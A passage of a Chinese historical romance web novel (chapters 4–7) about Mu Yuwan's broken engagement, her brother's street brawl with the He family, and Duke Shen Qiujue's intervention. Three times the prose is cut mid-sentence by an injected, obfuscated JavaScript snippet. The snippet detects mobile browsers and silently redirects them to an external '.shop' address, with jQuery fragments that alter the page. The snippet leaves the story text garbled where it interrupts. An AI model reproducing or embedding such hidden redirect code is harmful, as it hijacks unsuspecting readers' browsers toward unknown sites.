当初被卷入夺嫡之争中,他也曾遭受暗害入狱,按下的是杀头的罪名,竟有绿翠阁的姑娘跳楼以图殉情结果被救下,还有其他姑娘妄图持刀劫狱被当场抓获,诸如此类。 要说他最爱做的事,那就是品评女人。京城每年乐妓、舞妓的才貌排行榜,据说就是出自他的手笔,只不过他碍于皇家颜面从没亲口承认。 有人低声对身旁人耳语了一句:“家世。” 众人恍然大悟,明白了晋王拍掌说可惜是什么意思。如果是其他人这么做,那可能是说慕喻晚以微末地位得罪了沈家;也可能是她身为沈君念的朋友,家世却太差拉低了县主层次。但是因为是晋王,那什么意思简直一目了然。 他的意思是,慕家姑娘才貌气质出众,现在看来礼仪教养也跳不出毛病,这么好一姑娘,就是家世差了很多。这必然会影响她的婚嫁,而且她如今年纪也不小了,放在未婚女子里头甚至是太耽误了。 慕喻晚不喜欢别人拿家世说事,也不喜欢别人用品评一件物品价值几何的目光看她。 沈秋珏这时候开了口:“记得念儿小时候我与她说过,交友要看中品行,要择贤而交,看来她如今是听进去了。” 满座无声。 过了会儿,有人大声附和道:“是啊,县主的才貌、教养和礼仪自是顶顶好的,谁不知道?县主的好友也都是闺英闱秀,这个交朋友其他方面都是次要的,品行端正当是第一要义。” 慕喻晚差点没笑出声来,只能把头再低一些。在场的其他人立刻吵嚷开了,纷纷附和第一个说话的人。 “确实,李兄说得对!” “这个交友,无论男子,还是女儿家,都应该如此!” “县主果然女中豪杰,与人交往不看家世只在意意气相投,是家风之传承!” 慕喻晚偷偷抬眼看向上首,沈秋珏神色如常并且立刻捕捉到她的动作,两人的视线在空中撞上,沈秋珏回她以平淡礼节性的颔首,慕喻晚撇开头。 接下来的晚宴,慕喻晚被主人家强行留在靠近主席的上座,慕喻晚推辞不了只好坐了,她始终有些拘谨。 舞乐杂戏班子流水似的登场献艺,舞女歌女如花团锦簇般在宾客面前转场,酒酣尽兴宴席该散的时候还有许多人不舍得离去。 慕喻晚倒是离去的脚步很匆匆,傍晚慕家派了人护送她回家。国公府的大门外停着各式各样的香车宝马,醉醺醺的客人被人搀扶着上轿坐马车。 沈秋珏等客人都散去后,把沈君念叫到祠堂里,呵斥道:“跪下!” 沈君念额头冒汗,立刻跪下。 沈秋珏没有说为什么惩罚她,但是威压之下沈君念一股脑全交代了,她断断续续解释着自己并不是有意的,她咬牙:“我这么做是迫不得已。” 现在她狡辩也没用。 沈秋珏气笑了,“以你的性子,与人身份又如此悬殊,他还能逼迫的了你不成?我问过你身边的近侍,是你约他去庙里的,在禅房你对他做了什么需要我提醒?真是我往日太纵容你了,这样的内情传出去,你还要不要做人?” 沈君念汗如雨下,眼泪夺眶而出,焦急道:“爹,您相信我,我这么做是有理由的,我……” 沈秋珏没有说出口点破的,是沈君念设计那位何公子与她单独相处,并且她还给何公子下药这件事,这要是传出去,祖祖辈辈的脸都丢光了! 沈秋珏背着手,微叹了口气道:“你在宫中这些年,皇后对你也宠爱纵容,何至于对那寺丞的儿子如此念念不忘?非他不可?” 沈君念眉头夹紧,低下头,“女儿不能说。” 沈秋珏没把她的抵抗当回事,“那你就在这里跪到能说为止,已经让人听了丑事,无须再让外人背地里道我家教不严。” 他抬脚往祠堂外走去,走了几步停住,侧身对沈君念道:“另外,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633244|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的嘴堵干净点,我一试就什么都说,这样的人留在身边是个祸患。” 沈君念感到后背一阵发凉,她许久不曾看到去寺庙那天带着的五个下人了,和人问起都说是手脚不伶俐国公爷打发了出去。以她爹的风格,五个人也许已不存在于这个世上了。 沈秋珏将她的神色尽收眼底,提醒道:“名声对女子很重要,这个不需要我再备述利害关系。我女儿一向聪颖的。” 沈君念迟疑片刻,点头,“是,女儿记住了。” “那个何公子有什么心上人吗?此事既定,你想必也早有考量,我只问他可算良人否?” 沈君念这下弄明白了,爹还根本不知道怀瑾有个未婚妻,这个未婚妻还就是慕喻晚!不过这点小事,没有什么必要讲出来徒增烦恼。 “不曾有。” 沈秋珏看了她一眼,出去了。 慕家。 慕喻晩回到家中,她本想悄悄穿过回廊潜入自己房间,谁承想一家子都没睡,都在厅中等她。 “你还知道回来?”母亲的声音有些训斥,又有些担忧,“晚宴怎么样?” 慕喻晚看了眼,厅堂灯火通明,几根红烛已经只剩下半根拇指长短。 厅堂上座当然是母亲,她右手边坐着哥哥,哥哥竟然回来了!姨娘坐在左侧的椅子上,紧挨着姨娘的是她的姐姐。 慕喻晚按捺住兴奋,回复了母亲的话,跟姨娘姐姐问了好,然后扑到慕夏跟前,盯着他坐看右看道:“哥,你竟然有空回家,怎么样?北戎的兵是不是个个人高马大,很难对付?你有没有受伤?” 慕夏本来板着脸,此刻噗地一笑,“你呀,还是个小孩子。” 慕喻晚听了这话垮了脸,“我看你也……”我看你也一样。但是仔细看去慕夏确实很不一样了,五年前那个脸颊略带圆润的少年人褪去了稚嫩,胳膊手臂肉眼可见的肌肉,已经是一位饱经风霜的军士了。 所以她只好转移话题,“有没有带礼物给我?” “有倒是有。但你得说说,你和何怀瑾是怎么回事?那小子要是始乱终弃,突然变心,我一定不能饶了他。” 其他几人的目光也贴了过来,慕喻晚不好意思起来。 她跺了下脚,“别提他,好不容易看到哥哥,我今天已经放了话,说这婚肯定要退的。” “胡闹!”母亲语气带了斥责。 “本来就是非退婚不可的,母亲难道要让我过去当妾?” 母亲一看要发火,已经站起了身要发作,姨娘这时候却走了过来。 姨娘用特有的江南女子的吴侬软语,温声道:“喻晚,姨娘是过来人,跟你说句自己家的话,这女子不比男子,既是青梅竹马又是娃娃亲,倘若退了婚,对于名声是大大有损害,再寻亲事可就难了。再说,老爷走得早,你不像旁的女子有父亲做依靠。如今你岁数也不算小,我们认识的人家里,便没有超过十七岁的还未出阁的。仅凭意气,往往会把事情弄得更糟。” “反正我不嫁了!谁爱嫁谁嫁!” 慕喻晚在家中一向是乖巧的,这次不避不让,态度前所未有的坚决。 5. 第 5 章 慕喻晚撂下这样一句话,没想到先开口的是她的母亲。 母亲滴下泪来,“母亲何尝希望你嫁的不好?我就你和慕夏两个孩子,你爹去得早,那几年慕家全靠我撑着,当了一年女户。所幸慕夏长大成人,又有本事傍身,没人再敢欺家里没男丁。你余姨娘说的,我没考虑过?你哥哥长年累月在边关待着,即使挣了军功,到那时也少不得要娶一房夫人,成家后要考虑的就多了。” 慕喻晚低下头,母亲的话切中要害。 慕家人丁并不旺盛,男丁只有慕夏一个,慕夏身肩着开枝散叶、传宗接代的责任与期望,他是肯定要娶妻的,到那时慕夏的妻子就是慕家的主母,小姑子待在家中迟迟不嫁不是惹人烦?再说,慕喻晚私心也并不希望慕夏因为自己的事耽搁,也不希望自己是他夫妻不和的缘由。 慕夏皱眉,搀扶着母亲,“母亲,我要娶的必定是贤惠娴静的女子,连我亲妹妹都容不下我娶她干嘛?” 母亲横了她一眼,冷道:“到底是接触女人少,说这些大话。京城中清白的官宦家女子,能看上我们家已经实属不易,她嫁过来能容得下一天、两天,能长久的忍下去的又没有丝毫怨气的你以为会有?再者,表面上和和气气,背地里对你妹妹怎么样,你能知道?” 慕夏凛然:“大丈夫何患无妻,找不到这样的我就不娶。” 慕喻晚却已经想通,母亲说得对,她勉强笑了笑,“哥哥待我是再真心也没有的,我又岂能……岂能不懂事呢?” 母亲含泪笑了笑。 这时,站在一旁一直没有说话的慕知晨有动静,慕知晨自从出嫁后,甚少省亲,这回竟连她都出动了。慕知晨走到主母面前,行礼道:“也不是没有其他法子,我这妹妹生的这般温婉动人,惦记的人多着,我看也不是非那何家公子不可。” 姨娘连连问她:“也对,知晨,女婿在大理寺任左少卿,来往的同僚、家中的亲友,可有还未娶妻家世清白的,也可以让女婿留心留心?” 慕喻晚看了庶姐和姨娘一眼,两个人一唱一和不知是有什么目的等着她。 母亲擦了眼泪,语气不好道:“惦记容颜的能是过日子的人?知晨嫁左少卿裴郎,是桩好姻缘不假。晚儿是效仿不来这样的好事的,若是学知晨那样,恐怕也只能寻到那不安分的好色之辈。” 慕知晨和余姨娘登时没了言语。 家人散去,母亲留下慕喻晚,母女两人单独说些体己话。 母亲苦心道:“你别怪母亲话重,人各有命数,本来你也是一桩人人求不来的好姻缘,只怪上天有意捉弄有情人。我说你效仿不来慕知晨,她在你爹死了那一年,没过多久就攀上大理寺左少卿,你可知她比你聪明多了?家中无父,又无成年兄长,又是庶出,能倚靠的只有美貌年轻,手快眼准拿下裴少卿嫁了出去,换其他姑娘遇到这种事姻缘就只能蹉跎,或者下嫁白衣。” 慕喻晚颔着头,模样恭顺,“女儿省得。” “你没有你庶姐伶俐,多少暗亏只能吃了咽下去,母亲也是个直性子没有教的了你什么。所幸,那何家公子还是有情的,我看他未必就会攀附县主对你负心。” 慕喻晚迟疑。 母亲小声道:“你还不知道吧,今天何家主母来登门跟我们慕家道歉,说何怀瑾做出那等禽兽不如的丑事出来,真是将两家的交情都忘到狗肚子里去了。你想,如果何怀瑾执意抛弃你,他母亲还会有这一趟?你也别急,明天一早我让慕夏再去何家打探打探,试试何家公子还有多少真心。” 慕喻晚不想忤逆母亲,并且她就算再焦急也没用,一时间谁也没有更好的办法。 她和母亲问安后,回到自己的房间去睡觉了。秋雨早就备好了洗澡水,她只有秋雨一个丫鬟,从小一起长大,情分不似旁的主仆,秋雨这几天把何怀瑾骂了个狗血淋头,今天怕让她多想也没有再说别的话。 慕喻晚躺在床上,看着天花板上的榫卯,思忖着何怀瑾真如母亲说的那样对她还有情?只怕是不会了,哥哥去何家打探只不过会是徒劳。 这一夜倒是睡得安稳,一早醒来就听见外头下人的大呼小叫。 慕喻晚皱眉,起来挑了件绯色衣裙穿上,秋雨给她梳着发髻,她问秋雨:“外头出什么事了?” 秋雨也不知道,她梳完头发趁着慕喻晚洗漱的间隙跑出去问,结果没过一会儿匆匆跑回来,神色焦急说:“小姐不好了,公子在何家给人打了!” 慕喻晚将巾帕往铜盆里一扔,溅的水花湿了她的披帛,她抬脚急急往外头跑,任秋雨在背后呼喊。 这一跑,出了慕家的大门,穿过大街小巷,一路上惹得行人纷纷侧目,她飞奔到何家宅邸门口。 还未进去,就看见一群小厮歪七倒八在地上呻吟,一个个鼻青脸肿的,模样很难看。慕夏把最后一个小厮扔出门,气定神闲地走出来。 慕喻晚:…… 慕喻晚迎上去,问:“怎么回事?” 慕夏看到她,惊讶:“你怎么来了?别提了,他们何家欺人太甚!” “我听家里人说你被打了,担心才过来看看。” 慕夏听到了天大的笑话,嗤笑一声:“谁能打我?只有我打他们何家的份!” 围观的路人已经在十步之外站了一圈,指指点点,这到底是官邸,京中百姓爱看热闹但是不敢站太近。 这时候,何府大门冒出了两个头,何岳先走了出来,何怀瑾跟在他后头。何岳脸上神色倨傲,何怀瑾看到慕喻晚似有些许难堪。 何岳指着慕夏,气急败坏道:“你竟然敢在官吏府邸闹事,明日我就上都察院参你!像你这般目无王法之徒,就应该革去你军中职务,发配塞北苦寒之地!” 围观的群众越来越多,慕喻晚有点担心惊动什么不得了的人物,慕夏却无所畏惧。 慕夏刚刚动完手,拍了下巴掌,“塞北?那是我老家!你儿子才怕苦寒!” 何岳气得脸都红了。何怀瑾皱眉,下了台阶,劝慕夏道:“慕公子,我们从小认识,如此不顾脸面文雅,闹得满城风雨,谁都不好看。” 慕喻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633245|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚看他走近,往后退了一步保持距离。 天空飘起了小雨。一辆四匹骏马并驱、深绿色华盖的马车悄然停在人群外头,马车侧帘被挑起,沈秋珏探出了头。 他召来下属问道:“这里好热闹。慕夏?他在此处干什么?” 下属犯了难,判断了个大概,“似乎是因为他妹妹的事。” 沈秋珏瞧了下属一眼,没有吩咐的意思,下属退了下去。 何岳哼了一声,自以为站在有理的这一方。慕夏正在气头上,完全听不进去何怀瑾的劝,他下场在围观百姓面前走了一圈。 一边走,他一边中气十足道:“大伙来评评理,这何家与我妹子定下婚约,他不顾廉耻与人无媒苟合被撞破、背弃我妹妹在先,接着他们何家亲自上门道歉承诺不退婚一切如常,结果转眼看到能攀上高枝了,翻脸就说自己没说过这话,是我妹子配不上他何家公子,叫早点退掉这门亲事为好。” “你们说,这等陈世美做派,是不是该唾弃?” “你们说,我今天是不是该出这口气?” 慕喻晚抬头看了眼何怀瑾,他没有敢对视而是低下了头。 围观的百姓纷纷举拳叫道:“该!”“好!” 看见这幅情景,何岳更加恼羞成怒,今天就不该给慕夏开这道门让他进去,应该让他吃这个闭门羹。 何岳大怒:“好什么好!天要下雨,还不赶快回家?一群群吃饱了没事干的刁民,尽管闲事!” 仿佛应了他的声,天上的雨点顿时变大,倾盆而下,随之而来还有轰隆的雷鸣。 慕喻晚刚刚拿手作伞遮在头发上,起一点避雨的作用,这下子完全没有了意义,因为雨太大了! 围观的人群本来就只是看看热闹,并没有存什么打抱不平的心思,这下子也纷纷作鸟兽散。 见慕夏失了撑腰叫好的人群,何岳又找回信心,他也咚咚咚跑下台阶,接过下人递给他的伞,给他和儿子两个人撑上。 慕喻晚穿的衣裙被雨水淋湿,幸好她今天穿的衣料颜色并不透,里头穿了衬衣衬裙,但是如同落汤鸡一般也不好受。慕夏身强体壮,也就是头发衣服湿了,这雨水对他本人没影响,他劈手过去抢伞。 何岳拉着何怀瑾退了一步,避开了慕夏的手,倨傲道:“慕夏,我和你爹有故交,也不忍心看你们慕家没落,只是犬子与令妹实在无缘。犬子心有所属,是国公府的县主,这如今谁人不知。令妹十七岁未嫁也怪不了我们家啊!我看,她嫁不了好夫婿,你这个哥哥要负很大责任,还是趁早给她寻门过得去的亲事,别再耽误了。” 慕夏青筋暴起,双手锁过去就掐住何岳的脖子,何怀瑾大惊连忙过去救援。 慕喻晚见此情形心神难宁,料峭春雨又湿透衣衫,没来由鼻头一酸竟然很想放声哭一场。 突然,她头顶的雨打在一道屏障上,将她和周遭的世界隔开。她抬头一看,是一把青色的琉璃伞,漂亮得仿佛是错觉。 “没事吧?”这有几分熟悉的声音,竟然是魏国公沈秋珏! 6. 第 6 章 何岳一看到沈秋珏出现,立马行了拜礼,高呼:“沈大人!”何怀瑾在一旁傻愣着,何岳赶紧扯了他儿子的袖子,“行礼呀!”何怀瑾有些迟疑,但还是行了拱手礼,称道:“沈国公。” 慕夏肃然立正,拱手道:“大人。” 慕喻晚回头一看,虽然琉璃伞很大但是这个距离实在太近,没有给她行礼的余地,她拘谨不定,讪讪道了声:“大人。” 沈秋珏眼光从她头顶扫过,不咸不淡“嗯”了一声,即是回答了众人。 一时间,沈秋珏不说话,没人琢磨出他阴鸷的神情下在想什么。慕喻晚回想起,刚才何岳得意洋洋提及“国公府的县主”,她看了眼沈秋珏的车马停在不远处,想必是也听到方才何岳口中的话了。 何岳仍然鞠着躬没起来,这拜礼虽然恭敬规范但是一直保持着也是挺累人的,慕喻晚暗叹佩服。 慕夏最瞧不惯为官者媚上欺下,这下拳头捏紧,哼了一声。 沈秋珏举着伞,伞下只有慕喻晚和他二人,他身后的下属也都清一色打着淡青色的伞,一个黑衣下属递了把伞给慕夏。 沈秋珏冷言道:“何寺丞,方才你们说的话我都听到了。” 何岳脸色一僵,将身子弯得更狠,“大人休听旁人的污蔑之语,我们何家乃是清白之家,那奸诈恶徒攀咬实属无妄之灾啊。” 慕喻晚这时候终于忍不住了,道:“寺丞大人,你说谁是奸诈恶徒?你何家是清白之家,我们慕家难道就是能污蔑人的了?” 何岳眼睛斜向上看了眼慕喻晚,似乎是没想到她会插嘴说话,斥了一声:“乳臭未干的丫头懂得什么?你心悦怀瑾,但也不能瞎说啊,县主宽宏大量可也不意味着你能到何家来胡闹!” 慕喻晚气急,嘴唇都在颤抖,一时间什么话都说不出来。何怀瑾在一旁实在听不过去,头低下,皱眉重声道:“爹!” 慕喻晚怒极反笑:“真想不到我爹从前和您这种人来往。” 何怀瑾的双手和眼睑一同垂下,何岳身子躬着头却猛地抬起来,何岳恶狠狠盯着慕喻晚:“你爹迂腐顽固,我与他不过是同门之情,轮不到你来说三道四!” 慕喻晚心寒,寒的是一她爹以挚友待人,人却称他迂腐顽固;二是何岳如此恼怒仍不忘言语中撇清和慕家有私底下的交情,好在沈秋珏面前证明何家清白,否认何怀瑾的婚约;三是何岳从前伪装得很好,一副清正长辈的样,还参加过她和慕夏的满月宴,如今却对她恶言相向。 慕夏听了这话,还要上前打人,何岳见状吓得退缩一步。 慕喻晚叫停:“哥!不用跟这种人纠缠,我们走!” 慕夏握紧伞柄,怒道:“真是知人知面不知心,人善被人欺!真以为我们慕家好欺负了,我看这门亲事确实该作罢!但是是何家有错在先,是我们慕家退的婚,你们记住了!” 何岳怕他做出更过激的事情,没有再言语,而且弯腰太久一把骨头疼得也说不出什么话来。 慕喻晚和慕夏向沈秋珏致谢告辞,两人要离去,慕喻晚走到慕夏的伞下,沈秋珏道了声:“且慢。”慕喻晚和慕夏顿住脚步。 慕夏谨慎问:“大人可还有什么吩咐?” 沈秋珏让下属拿他的大氅来,披在慕喻晚身上,慕喻晚十分推辞还是拗不过,这大氅披在她身上甚至有种滑稽的感觉。衣服实在是太大太有气势了,而她本人娇小单薄,非常不衬,衣服下摆拖到地上长长一段难免沾湿。 慕喻晚看了眼慕夏,见他有点惊讶但是没有说话,于是也就接受了。 沈秋珏像是在给她解释一般,道:“马车上只备了这件,姑娘将就着穿。” 将就?这样一件绣着繁复花纹的黑色大氅,一看就是他本人风格的衣服,应当价值不菲,她只怕弄湿了弄坏了把他惹恼。 慕夏无言,手中的伞更往慕喻晚这边倾斜一些。 沈秋珏看向何岳,伸出手掌往上抬了抬。何岳见此喜上眉梢立马直起身子,他直身后“唉哟”了一声似乎是腰部有闪失。 沈秋珏冷语问:“何寺丞,贵公子到底从前有过婚约没有?” 何岳看了眼何怀瑾,不停地递眼色,见他不说话只好自己开口:“不曾。” 沈秋珏了然,一只手背在身后,他眼风扫过慕喻晚的脸,又回到何岳身上,“果真不曾?” “容下官直言,小儿和县主,那是板上钉钉,没跑的事情,怀瑾他为人清正有才学,势必会一心一意对待县主,过去即使有点什么……”何岳被沈秋珏的眼神注视得有点害怕,声音弱了下去,“只是口头约定,水过无痕,不必细究。” 慕喻晚心道无耻,这人是仗着大宛朝女子重名节,发生了私会之事沈君念只能嫁与何怀瑾,所以何岳虽然巴结畏惧沈秋珏但是仍然是有恃无恐。 但是她很清楚,何怀瑾和沈君念两个人是一巴掌拍不响,郎有情妾有意才搞到一起去,以前三人相处就有苗头,只是那时她总是安慰自己没事的或是告诫自己想多了,毕竟历史上何怀瑾可是为了她终生不娶的。谁能想,他们二人竟真有私情? 事到如今何慕两家本不应该再有牵扯,但是谁能想到何家竟然明面上稳住和慕家的婚约,背地里估计得知县主那边意向坚决,第二天他们立马毁约背弃翻脸不认,这谁能咽下这口气? 现在,何岳又用何怀瑾和沈君念两个人无媒私会的事情,想要把和国公府的姻缘坐实。 慕喻晚去瞥沈秋珏的神情,果然他眼神中阴鸷更甚,“钻穴隙相窥,逾墙相从,如此不合礼仪,倒是让做父母的为人看轻了。事情究竟是不是板上钉钉,终究要看能做主的人。” 何岳脸上一白,额头汗水滴落。 这时何怀瑾拱手作揖,目光闪烁了一下,道:“晚辈诚心悦县主风姿,过去只能遥遥相见,便暗生情愫,虽至于无媒相见为人耻笑,也只忧心连累了县主声誉,晚辈会竭力弥补在所不辞。” 慕喻晚和哥哥对视一眼,看到了他眼里的愤怒。他还是忍住了,慕喻晚自己内心岂能不生怨怼,但是她不能再变得更难堪了。 沈秋珏抬眼看向何怀瑾,从刚才起这是他第一次注意到这个人,看起来倒是有几分文人风骨,沈秋珏声音带有压迫道:“你明白事理就好,只希望你家人和你能同心同德。” 何怀瑾低头:“是。” 沈秋珏最后提点了一句:“我女儿性子很倔,认定的事九头牛也拉不回来,我希望她能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633246|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有好归宿。” 何怀瑾颔首,何岳喜出望外又说了很多恭维的话。 沈秋珏最后似乎并不想再多与何岳交谈,他看向慕喻晚和慕夏,雨中他的声音显得格外清晰:“在下送姑娘一程?雨水泥泞,天寒料峭,小心染上风寒。” 慕喻晚立即拒绝:“不必!我没事,沈公爷雅量。”她抬头看慕夏的意思,慕夏似乎也觉不妥。 沈秋珏瞧见慕喻晚避他如蛇蝎的态度,凝神看了下她披的大氅的下摆,已经被泥水弄脏一大截,精致的面料上头污泥十分扎眼,“路上泥泞,倘或跌倒磕碰,也为不美。” 慕喻晚顺着他的视线看了下笼罩着自己的这件大衣,她身材娇小,大氅却很大,上头还沾有一种梅花的香气。 弄脏了他的衣服,人家这次言语间还十分客气并无轻薄之意,慕喻晚实在不好再推辞,她刚想说话,慕夏已经拱手谢过沈秋珏:“那就谢过大人了。”慕夏说完,就扶她走到马车处,搀着她踩上马凳。 慕喻晚一路抱着衣服下摆,反正全身都湿透了,左不过回去要换一身。她突然想起,自己跟着慕夏一直走,倒走在沈国公的前头了!这又不是她慕家的马车,再说她家也买不起这样华丽的马车,也不符合规矩。 慕喻晚踩上马凳回头看,沈国公就在她身后并没有一点在意的模样,甚至在她回头看的时候礼节性伸出手将小臂横在她身侧,示意她可以攀扶。 慕喻晚立刻收回目光,犹豫了一下抓住车舆的竖杆,踩着车辕进了车厢里头。慕夏对身旁的沈国公道:“大人,我家妹子有点怕生。”沈秋珏收回手,勾了勾唇,没说什么。 一进车厢,慕喻晚就被这能容纳七八个人的空间大小惊了一下,比外头看起来还大啊!车里甚至设了一张小榻,小榻前头有两张紫檀圆椅,园椅中间摆了一个铜暖炉。暖炉的温度使得整个车厢浮起热度,跟外头冰凉的空气隔绝开来。 慕喻晚和慕夏坐在圆凳上,沈秋珏坐在小榻闭眼休息。慕喻晚将湿透的大氅脱下抱在怀里,抹干净脸上的水珠,偷偷的把板凳前移,更靠近一点暖炉。 沈秋珏睁眼:“看来方才我叫人去拿这炉子,倒是没拿错。” 方才他自撑伞出现,就没有吩咐过下属拿炉子,只可能是还未下车之时派人去拿的,想的倒是周到。在这密闭的空间,慕喻晚没来由回想起那天在国公府撞上被下了药的他,有点红了脸。 慕夏好心叮嘱道:“你别离暖炉太近,脸都烤红了。” 慕喻晚羞愤地瞪了他一眼,虽然是关心她,但是这么大的人了说话竟如此直白! 慕夏莫名其妙,这是怎么了?但是最后也没出声问。 沈秋珏咳嗽了一声,“不必拘谨,本就是为姑娘准备的。乍暖还寒时候,应当好生将息。再说姑娘受了委屈,暖暖身子也有助于疏松心情。” 慕喻晚看向沈秋珏,只好颔首谢过,顿了顿,道:“这大氅我会带回家洗净,如果不能……不能的话,我会赔大人一件新的。” 沈秋珏带了些笑意,有些玩味,“哦?西域特贡的孔雀锦,你也能弄来一模一样的?” 慕喻晚险些把大氅摔在地上,她艰难地道:“是吗?妾身不知呢。” 7. 第 7 章 关于孔雀锦沈秋珏只说不必还给他,他还有几件这样的大氅,暂时没有急需。慕喻晚心说这可是你说不还的,表面还是谢了一番。 慕夏眼看马车就要行驶到慕家了,憋不住话:“大人,县主的终身大事我不该多嘴,但是那何家不是好相与的,属下跟随大人多年忠心可鉴,旁人不提我定是要提的。” 慕夏在沈秋珏手下任职军中千总,他从军起就跟随沈秋珏驻守边塞了。慕夏的个性有些耿直,也不怕得罪人,说这话沈秋珏倒没有怪罪。 慕夏喋喋不休控诉起何家的所作所为,尤其是何岳和何怀瑾这对父子,简直是狼狈为奸背信弃义,最后不忘提醒了一句:“大人可千万别看何怀瑾是个人模狗样的,就以为他是什么好人,若要订下什么事还望三思。” 慕喻晚扯了扯慕夏的袖子,让他别说了。这个何怀瑾再不是,也只是和慕家的私人恩怨,至于他和沈君念又没什么龃龉。再加上,何怀瑾和沈君念出了那件难以启齿之事,沈君念又认定了何怀瑾,以后没什么大意外何怀瑾基本就是国公府的郎婿,要和沈国公成为一家人的。慕夏身居下官还是外人,如此仗义执言,对他自己只有坏处。 沈秋珏冷笑道:“我眼睛岂非瞧不到?只是,于名节一事上女子到底是被动的,事到如今只能弥补过失。再说念儿年轻,也未必就思虑得有那般周全。” 慕喻晚听到最后一句,微怔,沈国公言语中似有苛责自己亲女儿的意思,难道说这件事还有隐情?她察觉到,沈秋珏似乎不经意扫了她一眼。 “上次见到慕姑娘,”沈秋珏停顿一下,慕喻晚心里千万个祈祷他不要提初遇时的场景,还好他继续道:“念儿和我说是她的闺友,这孩子一向是骄纵惯了。初次见面,沈某或有冒犯得罪姑娘的地方,请见谅。” 慕喻晚想他说的是沈君念与何怀瑾背叛她的事,事情已经发生了她还能怎么办?气也出过了,脸也丢过了,人沈国公向着自己女儿、回护自己家人不是天经地义的吗,难道还能为了她主持道义置沈君念于不顾? 慕喻晚隐忍道:“得罪不得罪的,我也不在乎了,旁人费尽心机抢走的,我还不要呢。” 沈秋珏明白她说的什么,顿了下,脸上看不出是生气了没有,神情有些微妙,“也不一定就是坏事。” 慕喻晚听了这话,默不作声。 马车到了慕家前头,沈秋珏提点了一句慕夏,“以后行事三思而后行,你尚且年轻,还有远大前程,莫因为小事葬送了。” 慕夏感激地道是,保证以后不再冲动。 “明日寅时我派人来接你,随我一同入宫。” “大人,我……”慕夏语无伦次了。 慕喻晚惊喜抬眼,慕夏位分低本是没资格进宫领赏的,这算是沈国公格外提拔了,赏赐事小,这可是能在圣上面前露脸的机会,也是格外的荣耀。 沈秋珏道:“你想拒见圣上吗?” “大人,抱歉,属下只是太过喜悦了,属下绝没有拒绝面圣之意。”慕夏激动道。 “方才还说不冲动,这下又不沉稳了。”沈秋珏觑了他一眼,丢下这样一句话,与慕喻晚和慕夏道了再见,回头登上马车远去了。 慕夏一路高兴直到进了厅堂里屋,慕喻晚也为他欣喜,母亲知道了泪流满面直道慕家时来运转了。 回房间的时候,慕夏拉住慕喻晚,疑惑道:“我现在想起来,沈大人与你像是认得一般,他还说第一次见面冒犯了你,这是怎么回事?” 慕喻晚脸唰的红了,定了定神,“没什么,上次去国公府赴宴,沈国公也在。他说冒犯,可能只是说晚宴待客不周的谦辞。” 慕夏恍然大悟:“哦,是这样啊!大人治军严明、对待下属又宽厚,县主却败坏常伦,她真是一点也没继承到沈家的风范。” 慕喻晚回到房间,秋雨连忙上来问今天什么情况,慕喻晚安慰她没什么事,秋雨将信将疑话锋怪到何家身上:“容我直言,何家也太不是个东西了。他们先负心在前,还别谈多么败坏风气吧,居然还想着先稳住小姐你,暗地里去攀附沈县主。势利眼,没家教!” 慕喻晚看她气急败坏,竟有点想笑,忍住了随即叹口气:“有人说得对,也不一定就是坏事。” “有人?”秋雨狐疑。 慕喻晚想了想,“嗯”了一声,“沈国公说的。”她把说这句话的前因后果和秋雨说了个干净。 秋雨怪道:“这可奇了,沈国公毕竟是县主的亲爹,他说这句话倒是什么立场?若是安慰小姐说的,那就有斥责贬低何公子的意思了,这就连县主也贬低了,不大可能。若是站在县主立场说的,那就是庆幸县主能得到何公子?” 慕喻晚当时听到那句话,也没多想,现在经秋雨的提醒,也觉得这句“也不一定就是坏事”很奇怪,但是她思忖也不是秋雨说的后一种。 “应当不是,沈家这等世家勋贵,也不会对何怀瑾如此青眼有加,而且今天我分明瞧见他对那何怀瑾是有怒气在的。任何男子勾引了自己的女儿,当爹的还会庆幸女儿找了这样的女婿吗?”慕喻晚反问。 秋雨点点头,“小姐说的也对,算了,谁也搞不清沈国公的心思,他一贯是带兵打仗运筹帷幄的人,心思深得很嘞。” 慕喻晚沐浴更衣,喝了姜茶,脑子里却不住地回想沈秋珏说这句话时候的表情。 她指定是被姻缘的事打击得太狠了。 第二天夜里,慕喻晚还在梦中,慕夏披了甲胄坐沈府的马车随沈秋珏进宫了。 这次随沈帅进宫领赏的军士一共有三十五名,圣上皆有所封赏,赐了酒。慕夏被赏了五百金,晋守备。 回到沈国公的府中,又是一番欢饮。慕夏因为原本只是千总,职级低微,这回不仅晋升了还获得了额外的赏赐,被袍泽调笑:“慕守备,你要不是昨天刚发生当街殴打官员的事,说不定这回能升参将,赏千金呢!” 